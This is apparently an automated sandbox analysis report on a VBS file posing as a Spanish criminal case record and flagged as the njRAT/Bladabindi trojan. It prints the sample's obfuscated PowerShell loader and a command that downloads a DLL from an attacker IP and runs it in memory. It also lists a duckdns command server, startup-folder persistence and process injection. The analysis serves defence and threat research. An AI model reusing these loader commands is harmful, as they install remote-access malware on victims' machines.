Analysis Overview
SHA256
7d7b58a161db20052b11323229ef2a0289d7bd60fa43ae054589b9d3f895cde5
Threat Level: Known bad
The file Acta Referencial Del Caso Penal RDV-09939778312.vbs was found to be: Known bad.
Malicious Activity Summary
njRAT/Bladabindi
Blocklisted process makes network request
Checks computer location settings
Drops startup file
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-09-01 17:17
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2022-09-01 17:17
Reported
2022-09-01 17:20
Platform
win7-20220812-en
Max time kernel
41s
Max time network
44s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 112 wrote to memory of 1292 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 112 wrote to memory of 1292 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 112 wrote to memory of 1292 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1292 wrote to memory of 2044 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1292 wrote to memory of 2044 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1292 wrote to memory of 2044 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Acta Referencial Del Caso Penal RDV-09939778312.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⏏⏏Bw⏏⏏Ek⏏⏏QwB3⏏⏏HY⏏⏏I⏏⏏⏏⏏9⏏⏏C⏏⏏⏏⏏Jw⏏⏏l⏏⏏G8⏏⏏YgB6⏏⏏GU⏏⏏cQB1⏏⏏Gk⏏⏏bw⏏⏏l⏏⏏Cc⏏⏏OwBb⏏⏏EI⏏⏏eQB0⏏⏏GU⏏⏏WwBd⏏⏏F0⏏⏏I⏏⏏⏏⏏k⏏⏏EQ⏏⏏T⏏⏏BM⏏⏏C⏏⏏⏏⏏PQ⏏⏏g⏏⏏Fs⏏⏏UwB5⏏⏏HM⏏⏏d⏏⏏Bl⏏⏏G0⏏⏏LgBD⏏⏏G8⏏⏏bgB2⏏⏏GU⏏⏏cgB0⏏⏏F0⏏⏏Og⏏⏏6⏏⏏EY⏏⏏cgBv⏏⏏G0⏏⏏QgBh⏏⏏HM⏏⏏ZQ⏏⏏2⏏⏏DQ⏏⏏UwB0⏏⏏HI⏏⏏aQBu⏏⏏Gc⏏⏏K⏏⏏⏏⏏o⏏⏏E4⏏⏏ZQB3⏏⏏C0⏏⏏TwBi⏏⏏Go⏏⏏ZQBj⏏⏏HQ⏏⏏I⏏⏏BO⏏⏏GU⏏⏏d⏏⏏⏏⏏u⏏⏏Fc⏏⏏ZQBi⏏⏏EM⏏⏏b⏏⏏Bp⏏⏏GU⏏⏏bgB0⏏⏏Ck⏏⏏LgBE⏏⏏G8⏏⏏dwBu⏏⏏Gw⏏⏏bwBh⏏⏏GQ⏏⏏UwB0⏏⏏HI⏏⏏aQBu⏏⏏Gc⏏⏏K⏏⏏⏏⏏n⏏⏏Gg⏏⏏d⏏⏏B0⏏⏏H⏏⏏⏏⏏Og⏏⏏v⏏⏏C8⏏⏏Mg⏏⏏w⏏⏏C4⏏⏏Nw⏏⏏u⏏⏏DE⏏⏏N⏏⏏⏏⏏u⏏⏏Dk⏏⏏OQ⏏⏏v⏏⏏HM⏏⏏ZQBy⏏⏏HY⏏⏏ZQBy⏏⏏C8⏏⏏Z⏏⏏Bs⏏⏏Gw⏏⏏LgB0⏏⏏Hg⏏⏏d⏏⏏⏏⏏n⏏⏏Ck⏏⏏KQ⏏⏏7⏏⏏Fs⏏⏏UwB5⏏⏏HM⏏⏏d⏏⏏Bl⏏⏏G0⏏⏏LgBB⏏⏏H⏏⏏⏏⏏c⏏⏏BE⏏⏏G8⏏⏏bQBh⏏⏏Gk⏏⏏bgBd⏏⏏Do⏏⏏OgBD⏏⏏HU⏏⏏cgBy⏏⏏GU⏏⏏bgB0⏏⏏EQ⏏⏏bwBt⏏⏏GE⏏⏏aQBu⏏⏏C4⏏⏏T⏏⏏Bv⏏⏏GE⏏⏏Z⏏⏏⏏⏏o⏏⏏CQ⏏⏏R⏏⏏BM⏏⏏Ew⏏⏏KQ⏏⏏u⏏⏏Ec⏏⏏ZQB0⏏⏏FQ⏏⏏eQBw⏏⏏GU⏏⏏K⏏⏏⏏⏏n⏏⏏EM⏏⏏b⏏⏏Bh⏏⏏HM⏏⏏cwBM⏏⏏Gk⏏⏏YgBy⏏⏏GE⏏⏏cgB5⏏⏏DM⏏⏏LgBD⏏⏏Gw⏏⏏YQBz⏏⏏HM⏏⏏MQ⏏⏏n⏏⏏Ck⏏⏏LgBH⏏⏏GU⏏⏏d⏏⏏BN⏏⏏GU⏏⏏d⏏⏏Bo⏏⏏G8⏏⏏Z⏏⏏⏏⏏o⏏⏏Cc⏏⏏UgB1⏏⏏G4⏏⏏Jw⏏⏏p⏏⏏C4⏏⏏SQBu⏏⏏HY⏏⏏bwBr⏏⏏GU⏏⏏K⏏⏏⏏⏏k⏏⏏G4⏏⏏dQBs⏏⏏Gw⏏⏏L⏏⏏⏏⏏g⏏⏏Fs⏏⏏bwBi⏏⏏Go⏏⏏ZQBj⏏⏏HQ⏏⏏WwBd⏏⏏F0⏏⏏I⏏⏏⏏⏏o⏏⏏Cc⏏⏏YQ⏏⏏1⏏⏏DM⏏⏏ZQBk⏏⏏GM⏏⏏NQ⏏⏏3⏏⏏DY⏏⏏YwBk⏏⏏DM⏏⏏LQ⏏⏏w⏏⏏Dc⏏⏏Z⏏⏏Bi⏏⏏C0⏏⏏NQ⏏⏏y⏏⏏Dg⏏⏏N⏏⏏⏏⏏t⏏⏏GI⏏⏏YQBk⏏⏏DQ⏏⏏LQ⏏⏏2⏏⏏DE⏏⏏O⏏⏏Bj⏏⏏DM⏏⏏Z⏏⏏⏏⏏1⏏⏏GY⏏⏏PQBu⏏⏏GU⏏⏏awBv⏏⏏HQ⏏⏏JgBh⏏⏏Gk⏏⏏Z⏏⏏Bl⏏⏏G0⏏⏏PQB0⏏⏏Gw⏏⏏YQ⏏⏏/⏏⏏HQ⏏⏏e⏏⏏B0⏏⏏C4⏏⏏YQBz⏏⏏GU⏏⏏cgBU⏏⏏GM⏏⏏dQBE⏏⏏C8⏏⏏bw⏏⏏v⏏⏏G0⏏⏏bwBj⏏⏏C4⏏⏏d⏏⏏Bv⏏⏏H⏏⏏⏏⏏cwBw⏏⏏H⏏⏏⏏⏏YQ⏏⏏u⏏⏏DI⏏⏏Ng⏏⏏w⏏⏏GQ⏏⏏O⏏⏏⏏⏏t⏏⏏HM⏏⏏ZQBu⏏⏏G8⏏⏏aQBj⏏⏏GE⏏⏏YwBp⏏⏏G4⏏⏏bwBt⏏⏏G8⏏⏏YwBl⏏⏏Gw⏏⏏ZQB0⏏⏏C8⏏⏏Yg⏏⏏v⏏⏏D⏏⏏⏏⏏dg⏏⏏v⏏⏏G0⏏⏏bwBj⏏⏏C4⏏⏏cwBp⏏⏏H⏏⏏⏏⏏YQBl⏏⏏Gw⏏⏏ZwBv⏏⏏G8⏏⏏Zw⏏⏏u⏏⏏GU⏏⏏ZwBh⏏⏏HI⏏⏏bwB0⏏⏏HM⏏⏏ZQBz⏏⏏GE⏏⏏YgBl⏏⏏HI⏏⏏aQBm⏏⏏C8⏏⏏Lw⏏⏏6⏏⏏HM⏏⏏c⏏⏏B0⏏⏏HQ⏏⏏a⏏⏏⏏⏏n⏏⏏Ck⏏⏏KQ⏏⏏=';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('⏏⏏','A') ) ).replace('%obzequio%','');powershell.exe -Command $VXdfe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('a53edc576cd3-07db-5284-bad4-618c3d5f=nekot&aidem=tla?txt.aserTcuD/o/moc.topsppa.260d8-senoicacinomocelet/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))"
Network
| Country | Destination | Domain | Proto |
| US | 20.7.14.99:80 | 20.7.14.99 | tcp |
Files
memory/112-54-0x000007FEFB5D1000-0x000007FEFB5D3000-memory.dmp
memory/1292-55-0x0000000000000000-mapping.dmp
memory/1292-57-0x000007FEF28F0000-0x000007FEF3313000-memory.dmp
memory/1292-59-0x0000000002594000-0x0000000002597000-memory.dmp
memory/1292-58-0x000007FEF1D90000-0x000007FEF28ED000-memory.dmp
memory/2044-60-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | eae883b827f9524e63d39f2869b2dfba |
| SHA1 | eac07dace6bf23514ac588037376e0f0d44d8b69 |
| SHA256 | b650524c1fd4f3540ff31cff877af0a4e52cafcdf106f1f90871b9a60fb9ac00 |
| SHA512 | 223cbe4f098fe3ea03b44c93ce8e38bc5b9fc717b4ac81076fac612461cac2c0ab7fdc0e9238c0779a196e5ac4e968b9c1fee9db227e4fbbecdab113fae835f2 |
memory/2044-63-0x000007FEF28F0000-0x000007FEF3313000-memory.dmp
memory/1292-64-0x000000000259B000-0x00000000025BA000-memory.dmp
memory/2044-66-0x0000000002894000-0x0000000002897000-memory.dmp
memory/2044-65-0x000007FEF1D90000-0x000007FEF28ED000-memory.dmp
memory/2044-67-0x000000001B740000-0x000000001BA3F000-memory.dmp
memory/2044-68-0x000000000289B000-0x00000000028BA000-memory.dmp
memory/2044-69-0x0000000002894000-0x0000000002897000-memory.dmp
memory/2044-70-0x000000000289B000-0x00000000028BA000-memory.dmp
memory/1292-71-0x0000000002594000-0x0000000002597000-memory.dmp
memory/1292-72-0x000000000259B000-0x00000000025BA000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-09-01 17:17
Reported
2022-09-01 17:20
Platform
win10v2004-20220812-en
Max time kernel
149s
Max time network
148s
Command Line
Signatures
njRAT/Bladabindi
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4532 set thread context of 4624 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Acta Referencial Del Caso Penal RDV-09939778312.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⏏⏏Bw⏏⏏Ek⏏⏏QwB3⏏⏏HY⏏⏏I⏏⏏⏏⏏9⏏⏏C⏏⏏⏏⏏Jw⏏⏏l⏏⏏G8⏏⏏YgB6⏏⏏GU⏏⏏cQB1⏏⏏Gk⏏⏏bw⏏⏏l⏏⏏Cc⏏⏏OwBb⏏⏏EI⏏⏏eQB0⏏⏏GU⏏⏏WwBd⏏⏏F0⏏⏏I⏏⏏⏏⏏k⏏⏏EQ⏏⏏T⏏⏏BM⏏⏏C⏏⏏⏏⏏PQ⏏⏏g⏏⏏Fs⏏⏏UwB5⏏⏏HM⏏⏏d⏏⏏Bl⏏⏏G0⏏⏏LgBD⏏⏏G8⏏⏏bgB2⏏⏏GU⏏⏏cgB0⏏⏏F0⏏⏏Og⏏⏏6⏏⏏EY⏏⏏cgBv⏏⏏G0⏏⏏QgBh⏏⏏HM⏏⏏ZQ⏏⏏2⏏⏏DQ⏏⏏UwB0⏏⏏HI⏏⏏aQBu⏏⏏Gc⏏⏏K⏏⏏⏏⏏o⏏⏏E4⏏⏏ZQB3⏏⏏C0⏏⏏TwBi⏏⏏Go⏏⏏ZQBj⏏⏏HQ⏏⏏I⏏⏏BO⏏⏏GU⏏⏏d⏏⏏⏏⏏u⏏⏏Fc⏏⏏ZQBi⏏⏏EM⏏⏏b⏏⏏Bp⏏⏏GU⏏⏏bgB0⏏⏏Ck⏏⏏LgBE⏏⏏G8⏏⏏dwBu⏏⏏Gw⏏⏏bwBh⏏⏏GQ⏏⏏UwB0⏏⏏HI⏏⏏aQBu⏏⏏Gc⏏⏏K⏏⏏⏏⏏n⏏⏏Gg⏏⏏d⏏⏏B0⏏⏏H⏏⏏⏏⏏Og⏏⏏v⏏⏏C8⏏⏏Mg⏏⏏w⏏⏏C4⏏⏏Nw⏏⏏u⏏⏏DE⏏⏏N⏏⏏⏏⏏u⏏⏏Dk⏏⏏OQ⏏⏏v⏏⏏HM⏏⏏ZQBy⏏⏏HY⏏⏏ZQBy⏏⏏C8⏏⏏Z⏏⏏Bs⏏⏏Gw⏏⏏LgB0⏏⏏Hg⏏⏏d⏏⏏⏏⏏n⏏⏏Ck⏏⏏KQ⏏⏏7⏏⏏Fs⏏⏏UwB5⏏⏏HM⏏⏏d⏏⏏Bl⏏⏏G0⏏⏏LgBB⏏⏏H⏏⏏⏏⏏c⏏⏏BE⏏⏏G8⏏⏏bQBh⏏⏏Gk⏏⏏bgBd⏏⏏Do⏏⏏OgBD⏏⏏HU⏏⏏cgBy⏏⏏GU⏏⏏bgB0⏏⏏EQ⏏⏏bwBt⏏⏏GE⏏⏏aQBu⏏⏏C4⏏⏏T⏏⏏Bv⏏⏏GE⏏⏏Z⏏⏏⏏⏏o⏏⏏CQ⏏⏏R⏏⏏BM⏏⏏Ew⏏⏏KQ⏏⏏u⏏⏏Ec⏏⏏ZQB0⏏⏏FQ⏏⏏eQBw⏏⏏GU⏏⏏K⏏⏏⏏⏏n⏏⏏EM⏏⏏b⏏⏏Bh⏏⏏HM⏏⏏cwBM⏏⏏Gk⏏⏏YgBy⏏⏏GE⏏⏏cgB5⏏⏏DM⏏⏏LgBD⏏⏏Gw⏏⏏YQBz⏏⏏HM⏏⏏MQ⏏⏏n⏏⏏Ck⏏⏏LgBH⏏⏏GU⏏⏏d⏏⏏BN⏏⏏GU⏏⏏d⏏⏏Bo⏏⏏G8⏏⏏Z⏏⏏⏏⏏o⏏⏏Cc⏏⏏UgB1⏏⏏G4⏏⏏Jw⏏⏏p⏏⏏C4⏏⏏SQBu⏏⏏HY⏏⏏bwBr⏏⏏GU⏏⏏K⏏⏏⏏⏏k⏏⏏G4⏏⏏dQBs⏏⏏Gw⏏⏏L⏏⏏⏏⏏g⏏⏏Fs⏏⏏bwBi⏏⏏Go⏏⏏ZQBj⏏⏏HQ⏏⏏WwBd⏏⏏F0⏏⏏I⏏⏏⏏⏏o⏏⏏Cc⏏⏏YQ⏏⏏1⏏⏏DM⏏⏏ZQBk⏏⏏GM⏏⏏NQ⏏⏏3⏏⏏DY⏏⏏YwBk⏏⏏DM⏏⏏LQ⏏⏏w⏏⏏Dc⏏⏏Z⏏⏏Bi⏏⏏C0⏏⏏NQ⏏⏏y⏏⏏Dg⏏⏏N⏏⏏⏏⏏t⏏⏏GI⏏⏏YQBk⏏⏏DQ⏏⏏LQ⏏⏏2⏏⏏DE⏏⏏O⏏⏏Bj⏏⏏DM⏏⏏Z⏏⏏⏏⏏1⏏⏏GY⏏⏏PQBu⏏⏏GU⏏⏏awBv⏏⏏HQ⏏⏏JgBh⏏⏏Gk⏏⏏Z⏏⏏Bl⏏⏏G0⏏⏏PQB0⏏⏏Gw⏏⏏YQ⏏⏏/⏏⏏HQ⏏⏏e⏏⏏B0⏏⏏C4⏏⏏YQBz⏏⏏GU⏏⏏cgBU⏏⏏GM⏏⏏dQBE⏏⏏C8⏏⏏bw⏏⏏v⏏⏏G0⏏⏏bwBj⏏⏏C4⏏⏏d⏏⏏Bv⏏⏏H⏏⏏⏏⏏cwBw⏏⏏H⏏⏏⏏⏏YQ⏏⏏u⏏⏏DI⏏⏏Ng⏏⏏w⏏⏏GQ⏏⏏O⏏⏏⏏⏏t⏏⏏HM⏏⏏ZQBu⏏⏏G8⏏⏏aQBj⏏⏏GE⏏⏏YwBp⏏⏏G4⏏⏏bwBt⏏⏏G8⏏⏏YwBl⏏⏏Gw⏏⏏ZQB0⏏⏏C8⏏⏏Yg⏏⏏v⏏⏏D⏏⏏⏏⏏dg⏏⏏v⏏⏏G0⏏⏏bwBj⏏⏏C4⏏⏏cwBp⏏⏏H⏏⏏⏏⏏YQBl⏏⏏Gw⏏⏏ZwBv⏏⏏G8⏏⏏Zw⏏⏏u⏏⏏GU⏏⏏ZwBh⏏⏏HI⏏⏏bwB0⏏⏏HM⏏⏏ZQBz⏏⏏GE⏏⏏YgBl⏏⏏HI⏏⏏aQBm⏏⏏C8⏏⏏Lw⏏⏏6⏏⏏HM⏏⏏c⏏⏏B0⏏⏏HQ⏏⏏a⏏⏏⏏⏏n⏏⏏Ck⏏⏏KQ⏏⏏=';$VXdfe = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('⏏⏏','A') ) ).replace('%obzequio%','');powershell.exe -Command $VXdfe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$pICwv = '';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.7.14.99/server/dll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('a53edc576cd3-07db-5284-bad4-618c3d5f=nekot&aidem=tla?txt.aserTcuD/o/moc.topsppa.260d8-senoicacinomocelet/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))"
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\Done.vbs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Network
| Country | Destination | Domain | Proto |
| US | 93.184.220.29:80 | tcp | |
| US | 20.7.14.99:80 | 20.7.14.99 | tcp |
| US | 8.8.8.8:53 | firebasestorage.googleapis.com | udp |
| NL | 142.251.36.10:443 | firebasestorage.googleapis.com | tcp |
| US | 13.107.21.200:443 | tcp | |
| US | 20.189.173.1:443 | tcp | |
| US | 8.8.8.8:53 | agostiando.duckdns.org | udp |
| CO | 186.169.77.94:8080 | agostiando.duckdns.org | tcp |
| US | 209.197.3.8:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| NL | 104.80.225.205:443 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| US | 209.197.3.8:80 | tcp |
Files
memory/4264-132-0x0000000000000000-mapping.dmp
memory/4264-133-0x00000242A3440000-0x00000242A3462000-memory.dmp
memory/4532-134-0x0000000000000000-mapping.dmp
memory/4264-135-0x00007FFBA90F0000-0x00007FFBA9BB1000-memory.dmp
memory/4532-136-0x00007FFBA90F0000-0x00007FFBA9BB1000-memory.dmp
memory/4536-137-0x0000000000000000-mapping.dmp
memory/4536-138-0x00007FFBA90F0000-0x00007FFBA9BB1000-memory.dmp
memory/4624-139-0x0000000000400000-0x000000000040C000-memory.dmp
memory/4624-140-0x000000000040677E-mapping.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 7ae41ba310b3e0f4fc4c6eff982554fd |
| SHA1 | 1a382df614c494ff947f88817b9f0fbc76de3a68 |
| SHA256 | 93939edea4456184f43eeffda4f6e82f125bf5cead24cebcf317aa3fe83efcce |
| SHA512 | 8e13185cab71046bb411dae56ccaabd547d3bf961c200fc307f2961eb9caf175dd08631ecf6512578dd333dac3640e653f93115c840b3344648f2a597e789223 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 6cf293cb4d80be23433eecf74ddb5503 |
| SHA1 | 24fe4752df102c2ef492954d6b046cb5512ad408 |
| SHA256 | b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8 |
| SHA512 | 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00 |
memory/4532-143-0x00007FFBA90F0000-0x00007FFBA9BB1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | feadc4e1a70c13480ef147aca0c47bc0 |
| SHA1 | d7a5084c93842a290b24dacec0cd3904c2266819 |
| SHA256 | 5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac |
| SHA512 | c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23 |
memory/4264-145-0x00007FFBA90F0000-0x00007FFBA9BB1000-memory.dmp
memory/4624-146-0x0000000005520000-0x00000000055BC000-memory.dmp
memory/4624-147-0x0000000005CD0000-0x0000000006274000-memory.dmp
memory/4624-148-0x00000000057C0000-0x0000000005852000-memory.dmp
memory/4624-149-0x00000000056F0000-0x00000000056FA000-memory.dmp
memory/4624-150-0x0000000005950000-0x00000000059B6000-memory.dmp